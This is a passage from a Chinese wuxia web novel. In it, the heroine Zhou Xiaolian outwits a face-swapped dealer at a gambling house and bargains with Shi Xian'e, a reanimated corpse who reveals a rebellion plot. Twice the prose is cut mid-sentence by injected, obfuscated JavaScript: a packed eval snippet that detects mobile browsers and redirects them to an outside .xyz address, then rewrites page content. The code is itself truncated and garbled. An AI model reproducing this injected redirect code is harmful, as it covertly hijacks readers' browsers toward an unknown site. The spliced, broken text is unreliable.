庄家神色不变,可按在赌桌边的手青筋暴起,她暗暗施力,一股如流水般的真气游走于桌上——可无论如何,怎么都撞不碎包裹住骰子的那套真气。 洗雪心法主打的是以毒制毒。洗雪剑霸道,它便更霸道的压制住洗雪剑带来的反噬。这样以心力抗衡兵刃的心法养出来的真气,世上鲜有能与之角力的敌手。 赌徒们目不转睛地盯着那一点骰子。 若是一点,和为十一,小赢。 其他点数,和为十一之上,大赢。 “琏姑娘……对吧?你猜这一轮,是大,还是小呢?” 周小怜抬起头,笑吟吟的看着对面神色晦暗不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362295|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清,不愿开口的庄家。 闲家让庄家猜桌上点数,是多么傲慢轻佻的模样。 “不过要我说,张大姑娘的内力,比你强很多。当时我去绥城游历,是输在她的内力之下。那个时候,我听说过你的事情,也见过你一面。” “你不敢进门,远远看着我们。你似乎是把我当成你姐姐新找的妹妹了……不过张大娘子的确认为我和你很像。” 小怜指尖敲点赌桌桌面,她分心说话,骰子仍旋转不止,绝无他人可乘之机。 “琏?谁给你改的名字,又重新画了一张皮。你被张大姑娘压了一头,可知道我在家中,也是伏低做小的妹妹?” 骰子停下了。 五、五、六。 和为十六点。 “大、变成大赢了……”有赌徒喃喃道。 有人擦擦自己的眼睛,有人已经开始哄抢——还有押小的亡命之徒,反应过来一切都与谁有关之后,愤怒的扑向周小怜。 这样的人,被乌兆星挥剑,毫不留情地砍下了手掌。 大魔头终于见了血,他把剑上血珠子甩开。淅淅沥沥,像下了一场小雨。 这样的地方,更方便他暴露黑吃黑的本性,也难怪他非要跟来下九流的地方。少年威慑道:“你们不要命的,大可继续上来试试。” 赌桌前,小怜仍在与庄家打机锋。 “不过你比我运气,实力,更差一点。这样的把戏,最好不要坐庄。”小怜收手,她在京畿见过更精妙的出千,琼鱼坊难道没什么江湖人吗? 不,一定有。烧香天在这里,韦郡的江湖人只多不少。至于心肠是什么颜色?武功高不高强? 那就不知道了。 三百两孤零零的,还横在赌桌上。 庄家已咬碎银牙,这次眼白发红的人变成了她。少女脸颊紧绷,画皮让她做不出什么强烈的表情,只能幽怨的瞪着周小怜:“张昆玉认你当妹妹了?” 小怜道:“自然,我也听说过张露笑。你虽然用了这张皮,可眼下和鼻尖的那两颗痣没有改去。况且看得久了……也依稀可以看得出你原来那张脸。你现在叫什么?张小琏?” 张露笑惨笑一声:“原来是你——不过你真是自大,这张脸,怎么就是你的了?我是义母的女儿,我的脸是换了,可绝不是你的脸!” 小怜只道:“张小琏都叫了,还要说不是我的脸吗?好吧,请便,让你上头的人把我抓走吧,我都这样光明正大的出千了,还能坐得住呀?” 这样闹了一出,自然是有人会来客客气气的请的。 “周二小姐,乌少侠,我家主人在二楼有请贵客。” 有人隔着人群,从远处喊出他们的名字。霎时间,小怜心肺一震——张露笑却没有这么好运了。 周小怜看见她的七窍正以肉眼可见的速度,往外汩汩冒血,即便如此,她也的脸颊也动不了一点。 一旦做出龇牙咧嘴的动作,这张脸皮就会应声而裂。 她的牙……也掉了一颗。 张露笑一声悲鸣都无法发出,因为赌徒们还在催促狼狈的她,继续下一局的对赌。 “大赢了两盘……这次一定是小!” “我还是压大!我前两次都压了小!” “嘿、嘿嘿,你们快看我捡着一颗、一颗筹码!” “恭喜啊!恭喜啊!恭喜啊!” 赌徒们因为这笔意外之财,由衷贺喜的声音不绝于耳。有人离桌,有人上桌,筹码像浪花滔滔,被依次抛上桌。就算她出千的手段并不高明,这里也没人在意了。 他们不肯轻易饶过放过,执着道:“恭喜啊!恭喜啊!” 张露笑被裹挟在其中,她看到那颗筹码。 像珠贝的牙齿,上面还沾着血。 周小怜取走三百两,张露笑的死活……或者说张小琏的死活,与她已经毫无关系了。 在人群之外的那张脸,更像她。 琼鱼坊中,竟然处处都是周小怜。 难怪一开始走进琼鱼坊的时候,坊里那么多人都看着她。 若是一个相貌相似的人,还有大可能是凑巧。 若是数十个在一起,同一时间出现,那场面便是相当的诡谲了。 周小怜看见人群外,珠帘旁,赌桌上,到处都是自己的脸,实在忍不住道:“十七年以来,我还是第一次觉得我相貌平平。” 21. 鱼龙见佛(2) 周小怜声音很轻,掩盖在沸水般的人声下,几乎听不清。 可来接他们的女人——笑了笑。这次少女的笑,与小怜的笑、张露笑的笑都不相似了,因为这两人绝对无法展露出那样温柔又纯良的笑颜。 “这是我们的母亲留给我们的脸,”她的手叠在一起,平放在腹部前,“虽然与二小姐您的脸略有相似之处,但其始终是我们母亲的脸。” 小怜挤出人群,她已在众人不知不觉间,和燕紫芳把刀剑换了回来。 听到少女的话,小怜颇有兴致:“你们的母亲?方才不是还说是主人吗。” 那女人谦恭温驯,回答道:“母亲是母亲,主人是主人。二小姐来到琼鱼坊多时,是琼鱼坊招待不周,请您现在随我上楼吧。” 看来是非得要三人上楼不可了。 不过小怜光明正大的闯一回琼鱼坊,本来也就是为了直入狼巢,寻仇。 寻虞雪海虞雪芽的仇。 周小怜颔首道:“带路吧。” 在楼下看时,是浑然不觉此处还有第二层楼的。仙宫有云雾,曲径过后,方抵天上白玉京。琼鱼坊内漫天的绫罗绸缎,就是为了遮住这遥遥的白玉京。 乌兆星轻声道:“今日真是沾了姐姐的光,我也是头一回见识到琼鱼坊登天梯。” 登天梯,登的是哪片天?小怜紧了紧握剑的手,答案心知肚明,可难免还是紧张。 强悍如周汀情、周珊瑚,两年前擒烧香天出身的鸳鸯双贼也耗费不少心力。她们阅历武功皆远超小怜,若今日坐在二楼的是烧香天的那几个香主?三人或许有一战之力。 可若坐着的是最顶上的那位? 罢了,她在心底劝慰自己。 反正烧香天恨洗雪山庄入骨。毕竟外界盛传病弱孱弱活不久的的周二小姐,一进韦郡便遭遇迦南香四子。烧香天已找上门一回,她也礼尚往来。 若真是打不过的……那她死也要拖住,让乌兆星和燕紫芳走。 她丹田运转虽然还有滞涩,但真动手的时候都要死了,若她以肉身硬抗洗雪剑的作用,至筋脉寸断而亡,约莫还能撑一时半刻。 寻常人的经脉是做不到的,偏偏是她周小怜。好在,是她周小怜来了。 她想得出神,忽被人扯住手腕一拉。 肌肤上传来光滑又温凉的触感,小怜下意识扭头看去,拉住她的人正是燕紫芳。 再往前看,原来险些撞到带路的女人背上。 燕紫芳神情自若,全无小怜那样的心事重重。三人之中,他和乌兆星都与这件事情无关,却偏偏愿意赴汤蹈火帮她一回。 和乌兆星,小怜或许还有过命的交情和缘分在。可与燕紫芳——他本来是要来利用自己的,现在却被自己所利用。 真算起来,他应该站在烧香天那一边。 燕紫芳什么也没讲,见她站稳便松开。 小怜顾虑颇多,她收回手,对燕紫芳语气格外客气道:“多谢。” 燕紫芳似有察觉出她语气中凭空多出的疏离,困惑之意轻而易举浮上眉头。他反思,自己明明没有做什么其它事情,说什么不该说的话,她……难道不喜欢被拉住手腕? 但明明昨夜也这样做过…… 上了二楼,女人开口道:“琼鱼坊主人待客之地,下仆不得擅入。自此处起,还请二小姐再向前行四十步,主人正在恭候。” 这地方规矩毛病还挺多。 小怜望向前路,道旁空无一物,纱帐翩翩,恍若流水光波。 她一言不发,持剑越过女人,一步、两步、三步…… 依言在心中暗暗数到四十步,怎么都没发生。周小怜刚好抬头:“什么都没有……” 下一瞬,香风扑面! 小怜下意识避闪,连咳了几声又暗道不对:“咳、咳咳咳!” 那香气凭空而起,她措手不及,被兜了满头满脸。下意识想抬手挥去,手腕却又被抓住——怎么又是手腕!没完没了了? 周小怜眼睛还被香粉迷着,手上已顺势变掌,直接摁到对方脸上。 紧接着,她感觉到自己的手心正在被什么湿漉漉还柔软的东西舔舐着。温热,且有厚度的…… 还不等她推开那张脸,三百两已刀光一亮。 燕紫芳活生生劈开了那道粉雾。 “好凶的刀呀,这可不是非衣会的路子。”女声从那雾障后隐隐约约传来。 周小怜方才以免吸入什么不好的东西,下意识便屏气,就算被舔了手心也死忍着没叫出声。此时与对方已被隔开,她睁开眼睛,刚要开口,却又被抢先。 琼鱼坊主人……应该是琼鱼坊的主人吧——小怜看着面前几乎与燕紫芳身量齐平的美艳女子,有些吃惊。 她的脸倒不是与小怜相似的脸了。只是神态……一直歪着脑袋,身若无骨,有几分诡异的天真之感。 活像只偷了腥的猫儿样得意洋洋。 女人手指正一下又一下,极为轻柔地点着自己唇瓣:“方才在上头看的时候,就觉得很好奇。原来用洗雪剑的人,手心冷冷的呢。” “我与周大小姐也算有几分交情,她就是冷冷的,你和她——不太像,倒是和你娘亲很像呢。” 她咯咯笑了一声,自说自话道:“她一定不会和你讲我的名字,我是施仙娥。你叫她姐姐,也叫我一声小施姐姐吧!” “你和周汀情认识?” 这倒出乎小怜意料。周汀情的名字出现在这里,甚至能让她全忘了方才那一出,和施仙娥奇奇怪怪的表现。 “这么好奇呀?果然不像。” 施仙娥自顾自叹了一声,又驾轻就熟地向小怜撒起娇,“进里面说话嘛,在这儿一直站着太累啦。” 施仙娥熟稔的扒住小怜的一条胳膊,连拖带拽地把她往旁边的厢房里拐。 小怜皱眉试着挣扎几下,却没能摆脱施仙娥手上桎梏。她力气大的惊人……乌兆星见状,本想上手掰开两人,小怜却对他使了个眼色,让他收回手。 既然都来了这地方,与施仙娥对上是迟早的事情。周小怜安安静静的默默观察着女人的侧脸,又听到她问:“好看吗?” “……还可以。”平心而论,其实施仙娥是长得很好看的。下巴尖翘,脸颊圆满,很标准的美人。 施仙娥又笑问:“那——你说,你姐姐会喜欢这张脸吗?” 小怜沉默了,关于周汀情的话题,总是让她感到不快。 施仙娥已经把她拖进一间厢房中,此间挂满了画轴和镜子,每一面镜子都对着画卷上身姿百态的仕女。 小怜本不在意此地的装潢,可她余光不受控制的瞥见一处画上景象,竟在刹那间毛骨悚然,背脊发凉。 画上的仕女神情陶醉,只露出半张侧脸。往下,她手指正贴在另一具人身的脸上…… 而那具身体的脸,就像被人挖去了一样。只徒留下一个幽幽的黑洞,和几笔鲜红的色彩。 房间里大半的画,都是如此景象。唯一有区别的,便是仕女的表情。 或笑、或哭、或怅惘、或恐惧……一张张脸,又从镜子里被倒映出来。 与周小怜极为相似的,一张张脸。 施仙娥的手攀上她的脖颈,又轻轻的问:“二小姐,你喜欢这张脸吗?” 铜凤剑应声而动,周小怜的剑锋直取施仙娥咽喉关窍。 施仙娥似乎对此早有预料,她不动手,侧身躲开了周小怜这一剑,两女身位间隔开些许。 然而下一瞬,一只手,从她胸膛穿透。 她拉开了与小怜的距离,却在这逼仄的空间里,靠近了燕紫芳和乌兆星的所在之处。 周小怜见状,微微一愣,她没想过施仙娥居然对乌兆星和燕紫芳这么不设防? 两人虽然一路上来没说什么话,但就论其身材体格,也不是能那么轻易忽视的吧。 那只手上戴着手套,若无其事的又做了捏拳的动作。可他的手中空无一物,就连血也…… 不对,血呢? 周小怜这才发现,虽然施仙娥现在看着相当可怖,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362296|183741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她被掏过的胸膛前干干净净,完全没有一滴血要流出的迹象。 小怜惊道:“她的身体……” 燕紫芳的声音从施仙娥身后穿来:“琪树九关的尸人,无心无血。若保养妥当,尸身百年不腐不坏。只不过制作之初,经脉便已被切断剔除,除了力气大一点和不死以外,没什么危险的地方。” “琪树九关的尸人?”周小怜下意识望向施仙娥——琼鱼坊如今的主人,和烧香天理应关系匪浅,为何又会是琪树九关出身?况且尸人……活尸? 施仙娥外表看上去与常人无异,甚至气色比许多常人更好。她行动正常自如,说话也有理有条,绝没有口齿不清。与那些书上记载的活尸截然不同…… 这样的人,居然会是尸人? 正如他所言,施仙娥扭着身子,像条蚕一样蛄蛹着从他手臂上抬起头,俏生生感慨道:“哇,非衣会的妖物就是知道的多。” “既然我的来头你们都听到啦,那可以先将我放下来了吗?我是来帮你们的,可不是来害你们的。” 周小怜思虑半晌,既然施仙娥已经是琪树九关出身,除了身体与众不同之外,也不知道她还有没有什么其它藏着的后手。 小怜还是朝燕紫芳摇摇头:“不行。你这样也不是不能说话,如果要谈什么,就这样说吧。” “这样太不漂亮……”施仙娥哼哼几声,一手穿心,看上去的确很是狼狈。可她被燕紫芳拿住,尸人无法修习武功,她打不过这里这三个人,只能被动的接受这一切。 施仙娥看着周小怜,满怀歉意道:“你刚才是不是被那些画和我吓到了?但是我真的只是想问一下你我长得好不好看……” “我之前不是说了还可以吗?”话题居然又绕回了这件事情上。 施仙娥身体古怪,性情古怪,周小怜不愿与她过多纠缠。身为周家人,她不说在琼鱼坊了,眼下是在韦郡待得越久就越危险。要办的事情,要报的仇,每一件都得赶紧做了才行。 周小怜干脆走过去掐住她的喉咙,逼她以一种极为扭曲难受的姿势看着自己:“把蔺松交出来。” “那是谁?”几乎折叠上半身的动作,却全然不见施仙娥面色有变,她只是眨眨眼睛道,“你找我不是为了烧香天的事情么?” 施仙娥说得坦荡,小怜手上不禁松了一瞬,施仙娥有感,又笑起来:“怎么了?没想过我会这么说吗?你姐姐就不会对我这样温柔的,之前她问我那对贼鸳鸯的下落时,可是把我——” 贼鸳鸯……和烧香天有关的鸳鸯,已不言自明了。 原来施仙娥和周汀情是在周汀情抓鸳鸯双贼时认识的么? 小怜默默念了一声,心头却还是因为周汀情被频繁提及,有一股无名火起。 明明已经离开了洗雪山庄,为什么还是能遇到这种仰慕、执着于周汀情的人? 她不受控制的想到周珊瑚的偏爱,和自己的籍籍无名。 “别提她!” 周小怜忍无可忍,她因为周汀情的名字失控,手上掐得越来越深,用力到指甲半个扣进了施仙娥脸颊的皮肉里。 可怕的是,长相美艳灵动的施仙娥,她状若凝脂般的肌肤,却不是与常人一般富有弹性的。 眼前女人的人皮,薄的像是糊在骨头架子上的一张纸。划开了纸,下面却还是露出了肉类的纹理。 周小怜目不转睛地看着施仙娥,她被周小怜如此对待,甚至脸上都已经露出粉色的肉,却没有流血,也没有喊疼,这不像是一个活人。 周小怜强定心神与面前诡异的女人继续交谈:“你不是烧香天的人吗?想和我谈什么?” 施仙娥浑然不觉自己的脸已经盛怒之下的小怜被剥开,她眼睑低垂,似乎对周小怜不够温柔小意这一事实觉得很委屈。 眼见周小怜毫无动容,施仙娥才不甘不愿的缓缓道:“周二小姐,我一提到你姐姐,你就好生气哦。” “可是我想和你谈谈的……是怎么才能帮帮你姐姐,把烧香天整个儿都铲除掉的事情呀。” 22. 鱼龙见佛(3) 施仙娥能信几分?小怜手上的动作随着这个念头冒出,彻底松懈了下来。施仙娥没有其他动作,小怜以一种难以言喻的复杂目光打量着她。 令周小怜自己都觉得讶异的是,如果施仙娥想要毁了烧香天的动机是为了周汀情,她心底居然真的会愿意去相信……一切是真的。 在她看来,世上就是有许多不讲道理,莫名其妙甘愿为周汀情赴汤蹈火的人。 毕竟就连她亲娘都偏心。 施仙娥脸上一松,看见小怜动容,她追道:“从前你们要是一直躲在洗雪山庄,或许不会有什么事情。” “可眼下丹、解、宝光三郡大乱与烧香天脱不了干系,他们想造反。周二小姐不如想想,日月江北,还能偏安一隅多久?” “造反?”如此骇人听闻的话语一出,饶是上楼后一直置身事外的乌兆星也变了神色。 燕紫芳倒是波澜不惊道:“三郡战祸非一时之事,若说造反也全无证据。若是在意,不妨先听听她怎么说。” 施仙娥挑眉,她倒是似乎早已经习惯这样大逆不道,语气很是轻松:“对,就是造反。诸位现在可以将我放下来,好好说话了么?” 三人面面相觑,还是小怜拿定主意:“松手吧,紫芳。” 手臂从施仙娥胸口退了出来,小怜想到施仙娥实为活尸的事实,忍不住侧目观察:燕紫芳那条手臂上,当真毫无一丝的血迹,只有些许碎肉粘连着,被扯出来了一点。 尸人无心无血,那是如何活着的?琪树九关医术之深奥,世上罕有人能相提并论。周小怜从前只在猎月台看见过对琪树九关寥寥数语的记载,如今见到施仙娥,这才有几分确信。 但瞎眼蛟已是过去之事,琪树九关多年来未曾有人出世,究竟是谁把施仙娥制成成活尸的? 另一边,被燕紫芳放下的施仙娥踉踉跄跄在地上站稳。她两只手捂着心口,寻一张椅子坐下,长叹一口气:“这一爪真狠,我心都凉了。” 燕紫芳纠错道:“琪树九关的活尸没有心。” “非衣会的妖人也没有心,”施仙娥不服气,朝轻而易举揭开自己底牌的燕紫芳吐了吐舌头,又向小怜挥手,“你在那呆站着干嘛,来这儿坐着呀。” “造反到底是怎么一回事,”小怜三人纷纷落座,终于话归原题,小怜一连串发问,“你真不认识蔺松?谁把你做成活尸的?你和周汀情是怎么认识的?” “我接手琼鱼坊才没多久,你们要问的人若是前头的安排,我自然不清楚。” 施仙娥悠哉悠哉翘起一条腿,将事情一一道来:“至于我帮你们,或者我要你们铲除烧香天的原因很简单,就是为了不让周汀情死。你们昨日也遇到那位皇子殿下了吧?” 乌兆星听到此事,似是才知道阮真棋离开了洗雪山庄后,居然也来了韦郡。他不禁小声埋怨道:“怎么到哪都阴魂不散……” “你们也不是笨人,不妨仔细想想。眼下三郡大乱,皇亲贵胄天子颜面,偏偏没有去那三个地方,而是微服私访,先追到了这里来——” 小怜脑子一嗡,她想起阮真棋在客栈时曾说:“皇子西下九郡,总不见得真是为了过日月江,娶天下第一美人。” 当时小怜问他那是为了庄里的什么事情,阮真棋语焉不详,小怜也希望事不关己。于是便没有继续纠缠,让话题不了了之。 如今听来,难道是因为山庄里有人与谋反有关? 彼时洗雪山庄鱼龙混杂,若真有逆党混迹其中,无非是选两条路走: 其一,娶周二小姐,顺势为之,把洗雪山庄绑上贼船; 其二,将在洗雪山庄里的人一网打尽,一劳永逸。 然而这两条路,随着周小怜出逃洗雪山庄,一切谋划都灰飞烟灭。 周二小姐病重,周汀情接替其位;洗雪山庄里的宾客没了天下第一美人的噱头吊着,许多人也自知自己根本不是周汀情的对手,没耗几日就各自离开了洗雪山庄…… 周小怜没了,洗雪山庄里的人也没了。虽说此时大可以一举拿下洗雪山庄,但那些离开的人也没走多远。 洗雪山庄若是在这个节骨眼上出了事情,江湖义士驰援起来相当便利不说,万一诸事不顺,只会暴露自己,还会把洗雪山庄推到对立面。 所以万般筹措过后,对方还是回到了大本营韦郡? 周小怜心里猛跳,韦郡内一切的事态也正如她那时在客栈中所说的一样——群魔乱舞。 甚至已经不足以形容。 她逃婚,误打误撞遇上燕紫芳,要找自己的生父,却又被牵扯进陈年恩怨。以为这一仇报完,就算匣子解不开也还能另寻办法,至少做了一件好事……可到了琼鱼坊,又是另一副光景。 事关万民,她不在乎;可事关洗雪山庄,她割舍不下。 就像周小怜在面对小芽儿那对母女时,最无措之际,想的却是回到洗雪山庄,一切还可以再议。洗雪山庄若是不复存在,那……她还可以去到哪里? 施仙娥道:“至于我变成活尸,和认识你姐姐,这两件事情,得放到一块说。” “我呢,因为两年前帮了你姐姐一个忙,所以被扒了皮。可毕竟我是个堂主,上头的人舍不下我这把好刀。 “于是母亲亲自操刀,把我变成这副模样,让我来看着这个鬼地方。” 周小怜想起方才她说过的话,忍不住开口道:“忙是因为鸳鸯双贼?你们的母亲,是琪树九关的人?” “前者嘛,自然是。那对贼鸳鸯藏得深,你姐姐当初找不到两人踪迹,母亲就让我去与她对上两手,试下深浅。结果她在韦郡遇到我,我还想着和她周旋……没想到她一剑就把我的脸划烂了。” 提到两人的初遇,施仙娥看上去有些沉醉,过往好像还历历在目:“你姐姐的剑,是一把被月光裹着的剑,那时候我还以为是雪落了下来。 “可当时孟夏多雨,哪里会有雪呢?” 周小怜对这样的描述再熟悉不过,如诗如画的场景在她眼前过分清晰,引得周小怜下意识喃喃:“洗雪剑第五式,弹指雨。剑锋狂点,挥剑大开大合。雨雪霏霏,密织如夏雨,疏落为春雨,即是弹指雨。” 施仙娥闻言,竟痴痴笑了一声:“真是好美的剑。” 小怜只摇摇头:“洗雪十式中最阴毒的剑,不过此剑。剑光如雨,与凌迟片刃有何异?所以你的脸……” “不是原来的脸,原来的脸,与你的也差不多。尸人是不允许用与母亲一样的脸的,所以你现在才看到这样的我,”施仙娥谈及此处,又淡然道,“这就是后者了。当年我把贼鸳鸯藏在哪告诉她了,苟全自己,留了一命。” “至于后来的事情,你们应该也知道。周大小姐和周庄主生擒了他们俩,贼鸳鸯死得凄惨。而我作为唯一活着的人,自然要被抓去泄愤。” 周小怜听完她说的故事,困惑不解道:“可你真是为了周汀情,还是为了报复?” “这重要么?”施仙娥忽笑道,“都差不多吧……但我不想要周汀情死,只想要烧香天死。你的另一个问题,母亲是不是琪树九关的人——自然不是。” 周小怜沉默片刻,复又道:“她不是,又如何能把你做成琪树九关的活尸。而且你要我帮你办事,我不过初出茅庐,你不担心我做不到吗?” 施仙娥笑吟吟:“做不到也是一死,不如搏一搏。” “……母亲,我虽然被她做成活尸,可我自说出贼鸳鸯的下落时,就已预料到这样的结果。我的命是她救的,她要讨回去也随她吧。我对母亲的怨念不多,只是比起她,我更喜欢你姐姐一点。” 施仙娥叹道:“况且,你不是好奇你父亲下落吗?我这儿倒有些消息,是与辛家有关的。” 这倒是完全出乎周小怜的意料,激的她一愣身:“什么?” 在芜兰坊遍寻不得的消息,居然在琼鱼坊有浮出水面的迹象。 寻父是最初来到韦郡 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想要留他们一条活路,想要让辛家继续搜刮民脂民膏,从别人身上剥一层皮下来的,不是别人。 辛家当年是在京畿东窗事发了,可远在外地,又有几人知道,几人听到?就连辛家自己的奴仆,也只知道个囫囵大概。 老爷后继无人,京里的就把直系的小姐送了来……其它的缘由,哪敢去猜?又如何能知?守得眼前一时荣华富贵和安稳日子,便是大多人眼前短短能看到的。 琼鱼坊大张旗鼓,赚得盆满钵满。而这个在外地做了件大事的旁支,是个没有根的人。 周小怜恍然大悟道:“皇家……” 施仙娥眼疾手快,一根手指抵着她唇瓣,嬉笑道:“心里知道就好啰。不过,你还要再想想,既然那时候辛家背后的人是这样的身份,烧香天先前本是水匪出身,贼鸳鸯犯下过大案,这样的一群人,又怎么敢轻易地黑吃白呢?” 辛家得了皇家的默许才办了琼鱼坊,可烧香天后来对辛家出手,却不见手段有半分怜悯余地。 逼死辛欣,追杀辛慎,就连一时为辛家做过工的平民百姓都没有放过……这样的行径,和把皇家颜面按在地上踩,又有什么区别? 可烧香天敢吗? 若是真心大到这样的地步,鸳鸯双贼就不必在犯下大案之后,销声匿迹,苟且偷生。 黑吃白是有可能,但烧香天在琼鱼坊之前,只是一个名不见经传的水匪窝。 小怜拧着自己垂下的鬓发,沉吟道:“白子相食……这个白,顶替了辛家在上峰的位置。京畿之中,或许比辛家更位高权重,更万无一失。” “若我说,这个所谓的‘白’,现今就在韦郡之中呢?” 施仙娥半身趴在桌上,她手中不知何时多出一枚白子,抵在指腹与桌案间转动:“只要杀了他,烧香天自然会摊上大事。可捉住这条毒蛇七寸的机会为有这么一次,仅凭我一个人,是做不到的。” “他?”小怜视线盯着那枚白子,颦颦蹙眉,“他是谁?所以眼下你说的谋逆之事,是因为烧香天和他们想……造反了?“ 施仙娥已将眼睛闭上,回答的声音像一段轻声的哼唱:“他是……黄金台上的断颈佛。” “‘玉佛生来有四目,两目探人间,两目窥尧舜’——这是温柔乡的老鼠告诉我的,我查了两年,也就知道这些了。” 乌兆星在旁边听了半天,撇撇嘴:“这和我姐姐她爹……不,和辛慎的下落又有什么关系?” 施仙娥睁眼,轻飘飘一抬手,又把白子抛给小怜。 “唉,这也要我说么?我的意思是,既然你们都知道了那么多,何不去与温柔乡的老鼠打听呢?” 施仙娥有点嫌弃刚刚发问的乌兆星,她毫不客气道:“她们已经不接待我这样的老客了。而你们……一个魔头、一个足不出户的周二小姐、一个——非衣会的妖人,她们一定很感兴趣。在温柔乡找消息,寻仇,总好过像无头苍蝇一样在敌人的地盘上瞎转。” 23. 有情足千金 最后三人离开琼鱼坊,还是施仙娥给他们点了一处方向:“入死门,出生门,往东南走,下楼,头也不回地离开这儿,知道了吗?” 周小怜接着白子,将其攥在手心里,点点头。 可施仙娥这副豁达模样落在眼中,想到她这样提点三人的行径,完全背叛了琼鱼坊和烧香天,还是忍不住道:“你还要待在这里吗?” “那你要带我走吗?”施仙娥听出小怜话语中意味不明的担忧,感慨道:“好乖哦,比周大小姐心软好多。” 施仙娥的手搭在桌上,往小怜的方向挪动了几下,两只手相差存许距离,险些碰上:“除了这里,我没什么别的地方可以去。若是之后有机会,你能带我去洗雪山庄吗?” 施仙娥说了那么多,关于这样小小的希冀,还真是随口一提的。 烧香天出身,香堂堂主之一,督管琼鱼坊……这样的身份,要入洗雪山庄简直是痴人说梦,更遑论她如今是尸人身体。 周小怜听过那么多兰因絮果,还愿意带自己离开这个鬼地方? 那周二小姐她实在是蠢……不,天真得很可爱。 施仙娥有些出神,周小怜却已为她拍定桌子,决定好了:“可以啊,反正你认识周汀情。” “你帮过她,她不会介意的,我也不介意。”周小怜起身,准备离开此地,燕紫芳和乌兆星两人与她一同动身。 临行之前,烛火之间,她认真对施仙娥道:“如果有机会,我一定带你回洗雪山庄。” 施仙娥没想到居然能听到小怜的许诺,明明没有心的胸腔里,此刻却发出一种短促的、震耳欲聋、如闷鼓中的声音。 咚、咚、咚。 一种从更久以前,几乎亘古的悸动涌来。 施仙娥不由自主地朝小怜伸出手,猛站起身问:“等一下,二小姐,那下次和你再见!” 这句话一说出口,施仙娥又有些踌躇。起心动念如呼吸般,那之后呢?她纠结,但最终下定决心。 案上烛火炽盛,她缓缓道:“下次再见……能让我看看你的剑吗?” “我的剑?想看自然可以看。不过……” “你已经见过世上最好的洗雪剑了。” 小怜想起姐妹之间相差甚远的天赋,不禁讪笑道,与施仙娥简短拱手拜别。 “至于那些事情,你说得对。事已至此,牵扯颇深,无论你说的是真是假,我都会去搏一搏。” 小怜道:“多谢,再会。” 出了厢房门,周小怜一边向另一侧楼梯走,一边朝另外两人问道:“我深思熟虑过了。若施仙娥所说的都是真事,那我……不得不留下来一回。” 穿过一帘又一帘明珠,周小怜长叹一口气,苦笑道:“但我留下来是为了洗雪山庄,可洗雪山庄与你们无关。若是为了天下民生,我没有那么大义,你们——” 乌兆星心不在焉道:“为天下人对于我来说,听起来很恶心。” “唉,我想也是。”小怜又从乌兆星身上寻回一丝熟悉的安心感。 燕紫芳垂着眼睑,夹在两人中间缓缓道:“这两者于我而言,都不重要。“ “我在找到你父亲之前,不会离开你,无论你要做什么事情,我都不会让你死。仅此而已。” 燕紫芳到底为什么这么执着于找到辛慎呢? 周小怜深知他这一路以来的执着和让人摸不着头脑的执念,也不强求:“反正就是说一声嘛。事关那些官官民民的……日后肯定没什么好日子过了。能从韦郡全身而退,我就知足了。” “那个女人说的许多事情,倒不是无迹可寻,”乌兆星似是也在意其中弯弯绕绕,难得见他沉色: “真真假假难辨,她倒是有一句话说的很对。” 周小怜:“什么?” 乌兆星伸手为她挡开又一道珠帘,三人出了楼内,眼前豁然开朗。 天上绫罗飞瀑,地上九曲树廊,无人往来,僻静幽暗。 此地是美景,亦是难寻出口的迷宫。 入死门易,出生门难,琼鱼坊是赌坊,讲究风水布局,怎会让客人轻易出去?可门不建多,恐有漏财之灾……只怕这道门也是唯一出去的出口,故而为生门。 乌兆星揭秘道:“姐姐心软啊。” 周小怜喃喃:“我没有吧……” 三人沿着东南走,竟的确一路畅通无阻。 乌兆星又道:“若是姐姐没有心软,姐姐大可抛下那对母女回洗雪山庄;当时歌玉山中,姐姐也不会认识我;更不要说帮你身边这个男的——” “是啊,若是小怜姑娘当时没有心软,也不会在醉仙楼遇到我……” 周小怜本聚精会神听着乌兆星对自己的控诉,却没想到从中平添了一个相当陌生的声音。 还不等她反应过来,周小怜已被面对面抱了个满怀。 “什么……嗯——嗯?!” 而且偏偏是她的脸,对上了别人的胸膛! 露出来的那种! 宽广、柔软、触感远比声音更熟悉。 那块胸膛兴冲冲的抱着她蹭来蹭去,小怜还在发懵,就像一只被主人翻过肚皮抚弄,震惊过度的狸奴一样。 “哇,真是你啊。刚才在赌桌旁,我还以为是我自己看错啦。” 他身上只穿着一件像流水一样的缎子衣。腰间的系带松松垮垮的,勾着一支枯萎的水兰,大片大片的肌肤裸露在外。 “哪来的醉鬼,松开我姐姐!”若不是不能闹出人命,乌兆星此时真会直接一爪拍碎眼前人的脑袋。可小怜被他按在怀里,乌兆星也只能伸手去扒开两人。 那人很是不愿意,搂着小怜转来转去,相当孩子气道:“我不要,我的仙人都没说要走呢。” 燕紫芳看着眼前三人你追我打,倒是意外没什么动作。他在一片混乱中,眼神只聚焦于小怜身上,便无比清晰的,看到了小怜发红的耳根。 两人争争抢抢,周小怜可是很乐在其中啊? 燕紫芳默默劝自己大度,平复呼吸,她喜欢,就让她开心一瞬也无妨。 另一头的小怜也没忘了正事,她虽然终于又尝到一点肉荤,可眼下是沉迷美色的时候吗?不是!况且下一个去处是温柔乡,美色数不胜数,她得坐怀不乱,待会才不会被骗光裤子! 